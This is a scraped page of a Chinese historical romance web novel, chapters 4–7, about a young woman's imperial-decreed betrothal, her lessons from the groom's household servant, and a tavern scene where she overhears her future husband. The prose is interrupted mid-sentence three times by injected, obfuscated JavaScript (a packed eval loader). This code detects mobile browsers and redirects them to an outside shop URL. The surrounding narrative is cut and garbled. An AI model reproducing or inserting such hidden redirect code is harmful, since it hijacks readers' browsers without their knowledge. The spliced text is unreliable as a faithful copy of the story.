吴妈妈为着萝姐儿的婚事忧心了一夜,梦里都在长吁短叹,这会看她一切如常,似乎心情还不错,暗自松一口气,便道:“既然馋了,便少吃一块意思意思,别耽误了一会儿朝食。我叫且微进来给姑娘梳头——” “等等。” 吴妈妈脚步一顿,疑惑地回头。 郑薜萝一手揪着斗篷的前襟拢住了,垂眼:“我方才在街上被行进的马车带起的雨水溅到,想先沐浴……” “看看我说的,下次可别再这样了!赶紧把脏了的衣服脱下来,我去洗——”吴妈妈说着,折身回来。 “不用!” 吴妈妈伸出的手停在半空,郑薜萝后退了一步,捏住衣襟的手攥得死紧。 这会看清了,许是醒得太早,姑娘眼下隐隐有淡淡阴影,脸上却不适时宜地起了一抹诡异的酡红。 郑薜萝咬着唇,徐徐退向室内:“妈妈去叫后厨赶紧烧水来吧!我这身上都是泥水,实在难受,我自己脱就好了……” 吴妈妈细细看了她一眼,最后道:“也好,那我叫且微进来伺候——” “也不用了!” 郑薜萝的头从屏风后露出来,讷讷道:“且微是个嘴快的,好妈妈,别叫其他人知道我偷溜出去买米糕了,母亲知道了会罚我的……” “知道了。姑娘放心吧。” 吴妈妈从房里出来,正遇上且微捧着盆要进屋,便将人拦住了。 “怎么了?”且微止住脚步。 “姑娘应当是想一个人待着,别去打扰她吧。” 吴妈妈将视线从紧闭的房门收回,低声嘱咐,“这段时间,多留神主子的状态。姑娘从小就懂事,这一回,只怕为了咱们郑家,她也只会默默忍着委屈……” “可这是姑娘的终身大事啊。” 吴妈妈想起昨夜在书房外听到的谈话,摇头:“这桩婚事,恐怕是没有转圜了。” 且微愣怔着,半晌道:“夫人怎么说?” 在下人们眼中,夫人在家中的地位有时甚至高过老爷。平日李砚卿从不亏待下人,但真正立起规矩来,也是无人忤逆的威严。 郑薜萝出生后不久,母亲便把她留在宣州,自己随丈夫入京赴任,没过几年,郑薜萝又被送到蓁州祖父家,在江南一直养到了九岁。回到玉京这些年,郑远持一直很忙碌,陪伴女儿的时间很少,而李砚卿待她又极是严厉,可算是实打实的“严母”。 吴妈妈看在眼里,有时会暗暗替姑娘委屈。 “……我去给姑娘做碗糖元宵。” “可是,夫人不是不让姑娘吃甜么?”且微愣愣道。 郑薜萝自幼口味喜甜,来到玉京之后,有好一阵不适应当地的饮食,李砚卿从来也没惯着,说甜食多不好,硬是给她改了,就连每次做醪糟圆子,都唯独她那一份不给放糖。 吴妈妈不无心酸地想:遇上那么大的事,姑娘唯一的发泄,也只是早上偷溜出去,买些糯米糕来化解而已。 “无妨,也做不了多久郑家的姑娘了……” …… 窗外人压低声音,对话还是隐约飘进郑薜萝耳朵里。她坐在热气氤氲的木桶中,闭了闭眼。 已经尝试发泄过了,用最离经叛道的方式。 虽然努力克制,但那些疯狂而旖旎的画面仍然不受控地钻进头脑。 她与那神秘道长颠鸾倒凤,记不清纠缠了几个回合,从起初的生涩抗拒,到后来沉溺其中全然失控。 此刻回想起来,对方应当是中了什么毒,而她误入他的领地,才会一同中招。只不过她中毒的剂量很浅,男人进入之后,药性更被磨人的疼痛化去了不少。 那道长一举一动全凭中毒后激发的生理本能,而她则不然。她明明可以推开、逃走,却在放纵自己,只当一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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郑薜萝直起身子,朝着父亲微微一笑:“女儿要嫁人了,父亲怎么好像不开心?” “……自古女儿出嫁,做父亲的难免都要舍不得,你父亲又怎可能免俗?”李砚卿开口。 郑薜萝坐回自己的位置,平声道:“母亲说得是。” 旁边的方姨娘从桌子下面伸过手来,握住她冰凉的手。郑薜萝转脸,朝姨娘笑了笑。 房郑两家一向势同水火,圣人却做主让两家结亲,薜萝嫁过去是何境遇,方花实难免为大姐儿担忧。 “长姊要嫁人了么?那房家哥哥是什么人?状元郎?还是大将军?”弟弟郑成帷嘴里塞得满满,一边好奇地问。 郑薜萝拿起帕子,去给郑成帷擦嘴,微笑着道:“成帷喜欢什么样的?” “我喜欢大将军!状元郎嘛……也可以——阿姊喜欢什么样的?” 没人有心思去听孩子的童言无忌,然而所有人都将目光投向郑薜萝,似乎也想知道她的答案。 “阿姊……都喜欢。” 郑薜萝看向父亲:“素闻清河房氏乃矜贵世家,地胄清高,门风检肃,女儿嫁入房家,是再好没有的去处,父亲不必舍不得女儿。” “……你能看开便好。”郑远持心头微酸,声音哑了几分。 “父亲说的什么话?女儿如何看不开?那房遂宁既出身房氏,定也是瑶林琼树一般的人物,女儿还有什么不满意的?” 郑远持沉默。 “父亲今日不去上朝么?”郑薜萝语气轻松地问。 李砚卿道:“这场婚事乃是皇帝钦赐,朝廷仪制、吉凶五礼,都需按照礼部的规矩来,过一会礼部官员会登门,为两家合婚取八字、归卜于庙,你父亲需在家等候。” “这么快啊。” “这是圣人的旨意,无人敢怠慢。按照计划,傍晚时分,房家的人应当也会上门了。” 5. 第5章 这一日,永宁坊的郑府车马盈门,道贺的同僚陆续登门,络绎不绝。 傍晚时分,铜锣开道,鼓乐齐鸣,丞相府的仪仗穿过大半个玉京城,浩浩荡荡地抵达了郑府门前,占满了整条罗甸街,更显得低调的郑府正门无比局促。 虽然此前朝廷有令,禁止婚姻操办过于铺张,更严令天下嫁女受财,三品以上之家,不得过绢三百匹,然而房氏在各方各面,都昭示着对这一桩婚事的高度重视。今日房家递交婚书,下聘礼,几乎是全族出动。 除了准新郎房遂宁未曾出面以外。 房家给出的说法是:房遂宁身为刑部郎中,有紧要案件在查,实在无法抽身,改日亲自登门,向岳丈大人谢罪。 房家的婚书倒是辞藻华丽,颇具名门之风: 「清河房氏家主顿首。阕叙既久,倾瞩良深。房氏第十四代嫡孙遂宁,未有伉俪,伏承户部侍郎郑远持之长女薜萝,令淑有闻,愿托高媛……」 郑远持捏着婚书,几乎把一口牙咬碎。 婚书已经交换,他冷着脸收下聘礼,一旁观礼的礼部官员见状,笑着上来圆场。 “恭喜郑侍郎,八字已经合过,令爱与丞相大人家的公子日柱相合,乃月书赤绳之缘,来日必是鸳俦凤侣啊!” 郑远持挤出笑容,还了一礼:“请问大人,婚期定在何时?” 礼仪官:“礼部已经择了两个吉祥的日子,一个在三月初六,另一个是九月初八,重阳的前一日。因为圣人赐婚,还需报中宫定夺……不过离三月初六也只剩不到一个月了,婚仪要筹备起来还是略显仓促,大概率还是会在九月。” “明白了。多谢大人。” 还有约莫半年时间,郑远持难看的神色总算稍有放松。 客人络绎离开时,天已向晚,下人引着一个中年妇人进了花厅,拜见郑远持夫妇。那妇人身材微胖,一脸福相,衣饰用料也颇为讲究。 “是秦嬷嬷吧?” 妇人点点头,朝着主人行礼:“老奴拜见郑侍郎、郑夫人。” 郑薜萝嫁入房氏,作为房家第十四代嫡孙正妻,来日要执掌中馈。这秦嬷嬷是夫人裴敏身边的掌事嬷嬷,算是房府里最高级别的女使,此番特地遣来郑府,便是要在接下来这段备婚期间,向准新妇传授房氏家规,以及夫妻礼节。 “且微,给秦嬷嬷奉茶。” 秦嬷嬷笑着道:“夫人不必客气,老身受主子之托,这些日子要叨扰府上了。” 李砚卿道:“哪里的话。只是夫君为官清俭,敝府条件简陋,难免怠慢嬷嬷。” 秦嬷嬷看了郑远持一眼,抿唇:“夫人太谦了。都说江南水土养人,姑娘身为郑氏嫡长女,自小有金玉之丰,富贵逼人……” 郑远持眼眸微眯,目光冷冷回视。 这种明褒暗贬的语气不难分辨,只是这些年他青云直上,刺耳的话便听得越来越少了。对方言下之意,郑氏商贾出身,不足以与官族蝉联、世多卿相的房氏相提并论。 不过是一个房家的下人,竟也敢在他面前如此僭越放肆。 李砚卿清了清嗓子:“萝儿虽是郑氏嫡长女,但自小不在老爷与我身边,礼仪规矩上怕是和玉京的世家贵女们难比,有劳秦嬷嬷费心。” 一番话虽是自谦,然自从将郑薜萝接到玉京,李砚卿便以祖辈的规矩对女儿严格教养,诗书礼乐、德行操守,她俱以最高的标准要求女儿,近乎严苛。 秦嬷嬷心中微凛。亲家母乃是宗亲出身,不敢得罪,忙笑道:“姑娘有敬王爷这样功勋累身的祖辈,教养定是错不得的,来日必与咱们桡哥儿相敬如宾,也能如夫人一般,成为夫君助力。” 李砚卿但笑不语。转头朝郑远持看了一眼,是请示的意思,只见他一只手撑在膝上,似是倦极,只摆摆手,让她做主。 “今日天色已晚,东次间已经收拾出来,请秦嬷嬷安置。明日开始,便有劳嬷嬷。” … 纵然在高门内院掌事多年的秦嬷嬷眼中,郑家这位准新妇也是挑不出什么错处的。 一言一行,端方有礼,更有几分江南女儿的温柔。难得的是,总是一副宠辱不惊的姿态,这一点气质,倒是玉京贵女中鲜见的。 毕竟她们自小养在内宅,见多了争斗,也不乏宅斗的好手。 秦嬷嬷开始逐渐觉得,家里的那位准新郎,或许才更让人头疼。 少郎君虽然遗传了来自父母的好样貌,然而除此之外,以“郞婿”的标准,实则乏善可陈。这些年在刑部,背地里人家都唤他阎罗,镇日带着一队凶神恶煞的手下,不是出入各种场合抓捕犯人,便是定罪监刑问斩……此等画风,纵使肩负清河房氏的光环,也只能让待嫁闺中的小娘子敬而远之。 这不,房家都上门提亲了,少郎君这会儿还不知在哪儿呢。 她望着郑薜萝臻首低垂,专心制茶的样子,不无侥幸地想,等新妇娶进门,桡哥儿总得常回家了吧? “嬷嬷。” 秦嬷嬷猛然回神。矮几对面,郑薜萝将一只玉色茶盏推了过来:“按照您的方子,茶煮好了,请嬷嬷品鉴。” 面前的茶汤颜色若玉璧,香气馥郁。秦嬷嬷将茶盏端了起来,抿了一口。 “姜粉多了些,略辛辣……”她笑了声,“也是巧了,倒是桡哥儿的口味。” 郑薜萝垂眼,唇角微勾,落在秦嬷嬷眼里,端的是烟视媚行。 “那接下来,我们学什么?” 秦嬷嬷看了一眼郑薜萝身后,后者意会,微微侧过头:“且微,你先出去吧。” 房门轻阖,秦嬷嬷将一本蓝皮册子放在郑薜萝的面前。 册子薄薄一本,封面半个字也无。郑薜萝以为是房氏家谱一类的文书记载,没有多想,便翻开了。 只见扉页上画着一片雾气氤氲的水面,水边伫立着一男一女,正相互依偎。 上方古体字写着:素女经。 她微怔,抬眼看向秦嬷嬷。 “夫妇之道,王化所先;婚姻之礼,人伦攸尚1。为妇人者,绵延子嗣乃一大重则,这素女经中所载,乃夫妻敦伦,阴阳和谐之道,望姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024504|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘研读之余,好好体会。” 郑薜萝的视线落在扉页上的那对男女人像,信手翻了翻这册子。册子不厚,除去图画,文字更是寥寥几语。 脑中登时闪过电光火石的画面,咽口一时发干。她移开视线,刻意将那些强行涌入的记忆驱逐出去。 秦嬷嬷打量她反应,平声道:“这是女子嫁做人妇的必经一步,姑娘不必羞涩。老身也是过来人,当年夫人嫁入房府,也是老身随侍左右……此间只有你我,姑娘先略看一看,倘若有任何不解之处,也可问——” “我确有一问。”郑薜萝将册子阖上,看向对面。 见她如此直接,秦嬷嬷略有意外:“姑娘请讲。” “敢问此书,是只有我学,还是房家郎君也要学?” 秦嬷嬷举到唇边的茶盏一晃,泼了些水出来,面色有些尴尬。 虽然大祈民风开放,类似避火图这样的东西在民间并不新鲜,不少人认同“及时行乐”,甚至闺阁女子与情郎偷尝禁果也是常事;而宫闱后院之中,亦有少妇们共同研读素女经,私密的房中话题偶尔也会成为贵妇们的谈资。 只是郑家长女一向为人低调,鲜少出席玉京豪门贵妇之间的聚会,秦嬷嬷也没有想到她看上去娴静内敛,谈及这个话题,竟毫无半点忸怩之色。 她沉吟一会,语气隐晦:“房/中之术,实则是你来我往,既然要阴阳和谐,确不是一方努力便够的……” 摸了摸鼻子,接着又道,“不过,我们郎君毕竟年长姑娘五岁,于此事上也当是——” 郑薜萝纤眉微抬。 言下之意,他们少郎君业已加冠,如今不少大家子弟成年后便有房里的丫鬟贴身伺候,想必房遂宁于男女之事或许也是有所历练? 秦嬷嬷看郑薜萝神情,半猜到她在揣测什么,忙道:“姑娘莫要误会,郎君曾受道箓,一向洁身自好,况且他……” 话说了一半,外面突然有人叩门。她着急忙慌地便站起身来。 “秦嬷嬷,打扰了。”吴妈妈从门外进来,见秦嬷嬷脸色,微觉奇怪。 “不打扰,吴妈妈什么事?” “宁安公主来找姑娘。轿子在外面候着。” 秦嬷嬷闻言忙道:“既是公主传召,那姑娘这便快去吧!” 郑薜萝端坐案后,一时却没急着动,迟疑地看着她:“那,今日的功课?” “嗨呀,姑娘天资聪慧,这些东西哪里用费那么多心思?快去吧,莫让公主久等!” 吴妈妈又对秦嬷嬷道:“贵府也来人要找您,现在角门上。说是——表小姐房里的人。” 秦嬷嬷面色一变,连忙站起身来。 “表小姐也真是,怎么还找来这里了……”她嘀咕着,向郑薜萝笑着道,“老奴去一趟,姑娘自便。” 刚迈出门,又扭身回来,嘱咐道,“姑娘好好休息,备婚期间,最重要的是心情愉悦,不要太过紧张了!” 郑薜萝从案后起身,向着秦嬷嬷屈膝行了一礼。 “多谢提点。嬷嬷慢走。” 6. 第 6 章 马车一路向西,进了平康里。郑薜萝从车上下来,在访仙阙的门口站定。 访仙阙是玉京最繁华的酒楼,临水而建,背面便是玉带河。楼如其名,金殿玉阙如仙人居所,窗牗檐柱皆用料精贵,奢华非常。 已近黄昏,日渐西沉,酒楼门前矗立的一整面高大的木质幕墙上,数百盏高悬的灯笼已经点亮,随风微微摇晃,将楼前照得如同白昼。 且微啧嘴:“早就听闻这访仙阙大名,来此地消遣的客人非富即贵——看看这送往迎来,莺燕盈门的热闹景象……” 她压低声音,在郑薜萝耳边道,“好像隔壁便是教坊司,这里可多得是风流公子一夜豪掷千金的传说呢。” 郑薜萝淡淡看了且微一眼,且微立时收敛了好奇的神色,搀着她走上台阶。 一个梳双鬟的婢女迎上来,笑着道:“姑娘快请,公主已经在楼上等了。” 三人迈进酒楼大门,穿过衣衫鬓影的济济人流,径直上了顶楼。引路的婢女在把头临角落的一间包厢前停下,轻轻推开门。 “总算来了!” 郑薜萝迈步进门,摘下头上幂篱,对着宁安公主行了一礼:“参见公主。” “薜萝,坐!” 宁安公主李慧语穿一身洒金石榴裙,广袖流仙,靠坐窗边,面前的案上摆满了美酒佳肴。 郑薜萝在公主身边落座,问:“今日城里怎得如此热闹?难道没有宵禁?” “你看看,我就知道,你定然是被关在家里关傻了呢!马上就要上巳节了啊!” 郑薜萝恍然,转过身凭栏而望。 残阳如血,曲折的玉带河边,男男女女提着灯笼,人影幢幢,悠扬曲乐声从河面上隐约飘至耳边。 “哼,今日这访仙阙生意倒好,隔壁最大的包厢不知被谁占了,给本宫挤到这角落里来,不过这窗外就是玉带河,景色尚算不错,就不和他们计较了!” 宁安公主的母亲乃是窦淑妃,从小颇为受宠,自及笄便出宫立府,只是毕竟身为皇家儿女,行动上不能太过自由,更何况尚未出阁,出入这样人多眼杂的地方,也只能掩藏身份,低调行事。 “难得今日能出来玩,不必费心找借口,我刚从西山别院泡完温泉回来……” 公主捏起手边的琉璃酒杯,仰头喝下一口蒲桃酒,绛红色的酒液从嘴角漏了一滴下来,她毫不在意地举起袖子擦了擦嘴。 “我今日才刚听说,父王给你和房遂宁指婚了——感觉如何?”宁安公主用充满同情的眼神看郑薜萝。 郑薜萝倒是神色淡淡:“公主觉得,臣女还能感觉如何?” “呵呵,要说那房遂宁,本宫倒和他有些缘分——曾有那好事的牵线搭桥说要让他做我的驸马,还真的让司天台去算过八字,后来也不了了之……房家少郎君啊,若不看他为人处世,光看皮囊,倒也还……” 公主心直口快,说到这里才觉得不对,硬生生停住了。 郑薜萝神色平静,端起茶杯抿了一口。公主见状叹口气:“你比我还小一岁,这么早就订了婚,将来陪我玩的又少了一个!” “公主难道还缺玩伴么?臣女有何值得公主念念不忘。” “你很好啊!”宁安认真地看着她,“你不过是话少了些,比那些表面娇滴滴,动辄对男人曲意逢迎,假惺惺的女子可强多了,哼,偏偏男人都是耳朵根软的,就吃这一套!” 且微站在后面,心中不免偷笑:这宁安公主果然如传言中,和她母亲窦淑妃如出一辙,都是快人快语、有仇必报的性子。 房遂宁未能尚公主,背后原因也未必都是其脾性的原因。阖宫内外皆知,窦淑妃最看不惯的,便是房遂宁的姨母裴贵妃。 如今后宫嫔妃之中,除了皇后郭氏,便属裴贵妃最受皇帝宠爱。贵妃裴镜出身河东裴氏,与房遂宁的母亲裴夫人是亲生姐妹。裴贵妃出身高贵,性情柔顺,尤工情调,颇受皇帝宠爱。 裴镜入宫比窦淑妃晚,如今的阶位却已经越过她,协助郭皇后掌后宫诸务,窦淑妃母女自然对其颇为看不惯。 郑薜萝大概知道这几位娘娘之间的官司,只淡淡道:“若寻常女子入不了公主的眼,不如去找寰王殿下?二殿下宠爱公主您这个妹妹,定然乐于陪您。” 公主嘟囔:“皇兄对我自然是好的,可他如今也很忙,除了出征打仗,便是和大臣议事,哪里有时间陪我玩耍……” 二皇子李宥同为窦淑妃所出,自小便在行军打仗上展示出过人的天赋,成年后曾率大军数度征讨夷狄,立下赫赫战功,及冠岁便受封骠骑将军,封寰王。 与之相比,裴贵妃所出的四皇子裕王李初自小体弱,成年后整日不务正业,只醉心于游访名山大川,结识些文人骚客,或是风流女冠。儿子的成器,或许也是唯一让窦淑妃觉得胜过裴贵妃的地方了。 郑薜萝见宁安公主神色落寞,也跟着沉默下来。心中只道帝王家女儿其实也不容易,除了养尊处优,实则自由少得可怜,比之她好不到哪儿去。 宁安摆了摆手:“算了,不说这些扫兴的——来人,我们要听曲!” 移门推开,一个抱着琵琶的琴姬迈进门来,落座厅中。琴姬稍稍调了调琴弦,便问:“请问各位贵客,要听什么曲?” “就听你们这儿客人点的最多的曲子。”公主捻起一片鹿脯,放进嘴里嚼着。 琴姬有些犹豫:“听得最多的……大都是男宾点的一些……” “无妨,就听听时下玉京城的公子哥儿们都好什么!是不是?”公主冲郑薜萝眨了眨眼。 郑薜萝勾唇,朝踌躇着的琴姬点点头。那琴姬稍稍定心,清了清嗓子,便开口唱了起来: “月牙儿弯弯照西楼, 金簪儿绾发作茧囚。 红烛儿烧尽五更泪, 怎及得野塘边,草叶尖, 那滴溜溜的露水珠儿, 趁着天未晓,自在游…… 婚书儿叠叠锁雕奁, 盟誓儿沉沉压心头。 说甚么天长与地久, 露水情缘不须愁, 晨光一散各西东, 清风明月自在游……” 琴姬媚眼如丝飘向客人席位,浑然忘了座上是两位女宾。公主已然有些微醺,丝毫未觉这段歌颂露水情缘的唱词有何不妥,也开始跟着曲调哼唱着。 郑薜萝听得出了神。 那边,琴姬歌声婉转,唱得益发动情: “说甚么天长与地久, 露水情缘不须愁……” 当是时,旁边的包厢里忽然响起一个男声:“稀客稀客!今日居然把你请出山来了!——殿下,看来还是您的面子大,哈哈哈!” 宁安公主将手一抬,琴姬停了下来。 “下去吧。” 琴姬抱着琴退了出去。只听隔壁另一道矜贵十足的声音带着倜傥笑意:“哪里是我的面子大,明明是他在躲人。” “不好,是四皇兄!” 公主立时便听出来,这声音是四皇子李初的。心中登时懊悔,早该想到的,今夜的访仙阙能把她挤到角落包厢的人,自然不会是什么简单的人物。 郑薜萝握了握她的手:“他们在明,我们在暗,公主不必担心。” 公主点点头。也是,大家都是偷溜出来玩的,就算被发现,谁也告不了谁的状。 再说裕王李初一向行事恣意,自己都胡闹惯了,也不会像自己的兄长李宥那样来操心她。 这么一想,公主镇静了不少,又给自己斟了杯酒。 裕王与她们所在的包厢只隔了一道薄薄的板壁,此刻安静下来,隔壁的动静便听得一清二楚。 一道脚步声从外面进了屋,衣袖摩挲间,男人清冽的声音响起。 “荪桡参见殿下。” 郑薜萝心头没来由地一跳。 “竟然有意外之喜,偶遇你的未婚夫!”公主抓住她的胳膊摇晃了两下。 裕王不紧不慢地道:“今日这样的场合,别拘着了,免礼免礼!表弟快过来坐——蔡给事,你也是,低调些,别给本王惹麻烦!”随即响起斟酒的涓涓细流声。 宁安公主冷笑了一声:“我当是谁,原来是蔡溪。” 郑薜萝也听说过蔡溪。郑远持任国子监司业时,此人做过他的下属。写得一笔好文章,与不少文人都有结交,是个有才的,因为态度懒散,后来被调去了弘文馆作勘校。郑远持曾感叹过,蔡家小子,只可惜一身才华,却是个不求上进的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024505|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那边厢蔡溪兴奋地大声道:“今日佳节,便请殿下举杯,恭贺荪桡兄将迎娶佳人,顺便也让下官沾沾喜气,哈哈哈!” 裕王也道:“是啊,本王早就听说,郑侍郎家的嫡长女养在江南,气质温婉,只可惜一向低调,从未见过……” “气质温婉否未可知。商人重利,多有狡黠市侩之徒倒是真的。” 房遂宁话音落地,隔壁几人陷入沉默。 宁安面露不忿,看了眼郑薜萝,忍住了没说话。 那一头裕王打破沉默:“荪桡,你和那郑薜萝此前曾见过?” “不曾。” “那你为何这么说?”裕王扬了扬眉毛。 蔡溪聒噪道:“殿下还不知道他么,他就是气不顺,脾气只怕比阴沟里的石头还要臭!——这人啊,怕是眼里没有女人,只有案子!难怪都说他是孤寡之命……” 裕王不以为然:“什么孤寡之命,那都是有心之人拿来污蔑房家的,司天台可是算出他与那郑氏女‘日柱相合,月书赤绳之缘’的!” 蔡溪忍不住道:“殿下,这些判词,难道不是礼部为了迎合这桩婚事编出来的么?” 郑薜萝无意识勾了勾唇。蔡溪这话倒是实在。 “怎可能?”裕王语气认真,“司天台观测天象卜测吉凶,顺应的只有天意,是不能拿来开玩笑的,否则,荪桡早就做了我李家的驸马了……” “好吧……”蔡溪吐了吐舌头,又好奇道,“荪桡,说句实话,你对女人感兴趣么?” 没有听见回答。 “你笑什么笑?说真的,殿下,我就没看过他和女人打过交道!坊间传说他七杀命格,其实我都没怎么当真,不过我一直有个猜测,没敢当面向你求证……” 蔡溪顿了一会,似在斟酌是否要问,裕王嫌他磨叽:“求证什么??你倒是说啊!” “那我就说了。房兄,你,是不是喜欢男人啊?” “噗——” 宁安一个没忍住,含在嘴里的酒喷了出来。郑薜萝默默将手中帕子递了过去。 公主拿起帕子擦嘴:“这个蔡溪,简直离谱……” “也说不定呢。”郑薜萝轻声道。 宁安瞪圆了眼睛看向她。她还真有些佩服她,这等气度,要嫁的丈夫疑似好男风,居然还能如此淡定,跟个没事人一般! 那边,离谱的蔡溪又有了新主意:“今日天时地利,倘若荪桡你真的不好男风,咱们叫几个姑娘来,趁着兄弟你尚是自由之身,今夜就玩他个通宵,如何?!” 裕王笑道:“你可别逗他了,他那么个好洁成癖的人,怎么可能陪你胡闹。” 谁料房遂宁一语惊众人:“倒也无不可。” “房兄当真??好好好!今日果然好日子,房兄破天荒要开荤了,果然要做人夫就是不一样哈哈哈……”蔡溪兴奋不已,忙着便要喊人。 房遂宁道:“我听说鸣珂曲里,最有名的歌伎便是夜来?” 蔡溪有些意外:“啊,是啊!夜来善晓音律,妙攻弦歌,一度是鸣珂曲的花魁,没想到连房兄都听过她的花名……” “听说这个夜来最近都不怎么出来接客,不知你出面能否请得动她?” 宁安实在听不下去,鼻孔里出气哼了一声。 那边厢蔡溪为难起来:“兄弟你有所不知,那国子监的卢序槐对夜来颇为用心,为了她连夫人都不顾,传言他准备为夜来赎身,接她出鸣珂曲。现在除了罗祭酒,旁的客人夜来已经不太接了……” “那真是可惜了。”隔着一层板壁,房遂宁遗憾的语气十分清晰。 宁安撇了撇嘴:“可算叫我看清了,这个房遂宁,什么冷淡自持生人勿近都是假象,实则和那些臭男人一样,满脑子都是些龌龊心思!还好没叫他做我的驸马……” 她意识到失言,去看郑薜萝。而她神色依旧淡淡,看不出什么情绪。 “不过,至少说明,房遂宁他不喜欢男人。”公主拍拍她的肩膀,找到个自以为能安慰的理由。 屋中的熏炉香气氤氲,郑薜萝觉得有些热,下意识扯了扯帔帛。 宁安公主视线定住,忽然发现了什么了不得的事情,指着她的脖颈。 “哎——你这里怎么回事?” 7. 第 7 章 郑薜萝匆忙拢了拢帔帛,盖住领口。 公主只觉可疑,一把将她的额帔帛重又扯开。只见白皙如玉的肌肤上,遍布星星点点的红痕,犹如白雪之上盛放的红梅。 “……可能是风疹吧。”郑薜萝伸出手盖在那片红痕上,更显得欲盖弥彰。 “啧啧,”宁安眼中闪过暧昧笑意,“你可知你这脖子上的痕迹,像什么么?” 她虽出生宫闱之中,实则于男女之事上颇为放浪形骸,纵然未出嫁,公主府中养着的伶人小倌却是不少——这样的痕迹,她自然熟悉。 郑薜萝两腮渐红,一时无言以对。 公主看着她这副鹌鹑样子,更想要逗她,凑上前压低声道:“嗳,上回给你看的那本册子,还记得么?” “……” 正这时,隔壁忽传来女子尖锐呼声。房遂宁沉冷的声音随即响起:“滚远些。” 公主立时松开抓着郑薜萝的手,二人对视一眼,都安静下来。 隔壁沉默了半晌,蔡溪干笑出声:“嗳,沁娘也是看房兄你一个人喝酒太干巴,好心陪你嘛,哪有下手这么狠的,当人家是你的犯人呢……啧啧,一点都不怜香惜玉!” 只听女子断断续续的哭声,听声音似不完全是委屈,倒像是真的受了苦。 叫沁娘的是访仙阙新晋的头牌,热情奔放,长得又水灵,不少客人趋之若鹜,来访仙阙便点了名叫她。今天老板娘专门让她来陪天字号的贵客,一进门只见几个男宾都已是左拥右抱,只有一个独自坐着喝酒,虽冷着脸,却实在生得一副好样貌,心中激荡,便勇敢凑了上去。 谁知刚挨上了身,便被房遂宁捏住手臂,反折向身后,登时痛得钻心,还以为骨头都断了。 见房遂宁不说话,蔡溪换了副语气,冲着那哭泣不止的女人道,“你也是,胆子忒大了些,不能见着个好看的爷们便往上凑啊,还当咱们房大人和你寻常的那些恩客似的呢,你可知人家什么外号!” 裕王看不下去,道:“你何苦吓她——你,快收了泪儿,下去擦擦吧!” 沁娘见上首客人发话,不敢再待,纵然手臂依旧疼得厉害,还是委委屈屈地应了声是,起身退出去。临走前哀怨地看了房遂宁一眼,想不明白有那么副样貌的人,怎么说发难就发难。 等到人出去了,蔡溪便道:“哎,说句实话,这沁娘的模样不比那个夜来差,荪桡,难道你还非她不可么?” 房遂宁捏着杯子,眉宇间似有化不开的寒冰。方才那大胆的妓子,竟将手直接伸到了他的外袍里,隔着一层中衣,细长手指一下下搔弄他的后腰,正碰到一处伤口——是画麟阁那夜,那个神秘的女人在他身上留下的。 蔡溪见他不说话,面色阴晴不定,暗自后悔玩笑开得大了些。 “没错,就是非她不可。”房遂宁似笑非笑的语气。 宁安公主听不下去,鼻子出气哼了一声:“混账东西。” 郑薜萝匆匆起身:“这里头太闷,公主容我出去透口气。” 她将幂篱戴上,出了包厢,便脚步匆匆往楼梯口走,没留神迎面过来个小厮,一头撞上。 “哎呀!长没长——” 那小厮正要发作,看清了郑薜萝后,舌头在嘴里囫囵打了个转,“——对不住啊姑娘,没事吧?” 郑薜萝摇了摇头,沿着走廊继续向前,身后的移门忽然“哗啦”一声拉开。象牙白长袍如月影轻移,有人从门里迈了出来。 她脚步一顿,不算宽敞的走廊一时有些拥挤,男人身上的脂粉味若有似无地朝鼻子里钻。 “客官!您要点什么?”小厮隔着郑薜萝,招呼她身后的人。 “我找个姑娘。” 没了方才那道板壁的阻隔,房遂宁的声音成倍的清晰。 小厮陪着笑道:“爷您喜欢什么样的,小的去给您——” 房遂宁似是冷笑了一下,语气懒散:“不用,不是你们这儿的姑娘。” 郑薜萝举起手中团扇,快步离开。 碧色倩影消失在楼梯口,走廊上残留着一股淡淡香气,房遂宁的视线定在某处,眉心微皱。 凭借常年断案的敏锐,他知道方才所在的包厢实则隔墙有耳。 今夜佳节,能在访仙阙天字号包房喝酒的非富即贵,加之又在酒楼下看到乔装打扮的公主府家丁,隔壁是谁便心中有数。 只是从隔壁房出来的那姑娘并非宁安公主,也不像是丫鬟,应当是哪家的贵女。 “主子——” 泊舟从角落钻了出来。房遂宁驱走脑中思绪:“出去再说。” 主仆二人穿过熙熙攘攘的人流,走到玉带河边一处小码头。 刑部提举司副提举熊坤一身黑袍,码头上悬着一盏灯笼照亮他眼底两道乌青,看来已是数日不曾睡饱,熊坤看见上司的一瞬间强打精神,迎上前来。 “大人,那歌伎夜来果然有问题。” “说。” “——根据司药监的查验结果,那‘灵肌丸’里面,并非相思子、驴驹媚这类常见的春.药方材,而是有一味传自西域,叫做‘鹊脑’的灵药,因为药性猛烈,于人体有损伤,早些年已经被朝廷明令禁止。” 泊舟闻言,忍不住道:“夜来一个教坊司出身的官妓,如何能得到这样的禁药,此人的确大有可疑!” “禁药……”房遂宁沉吟。 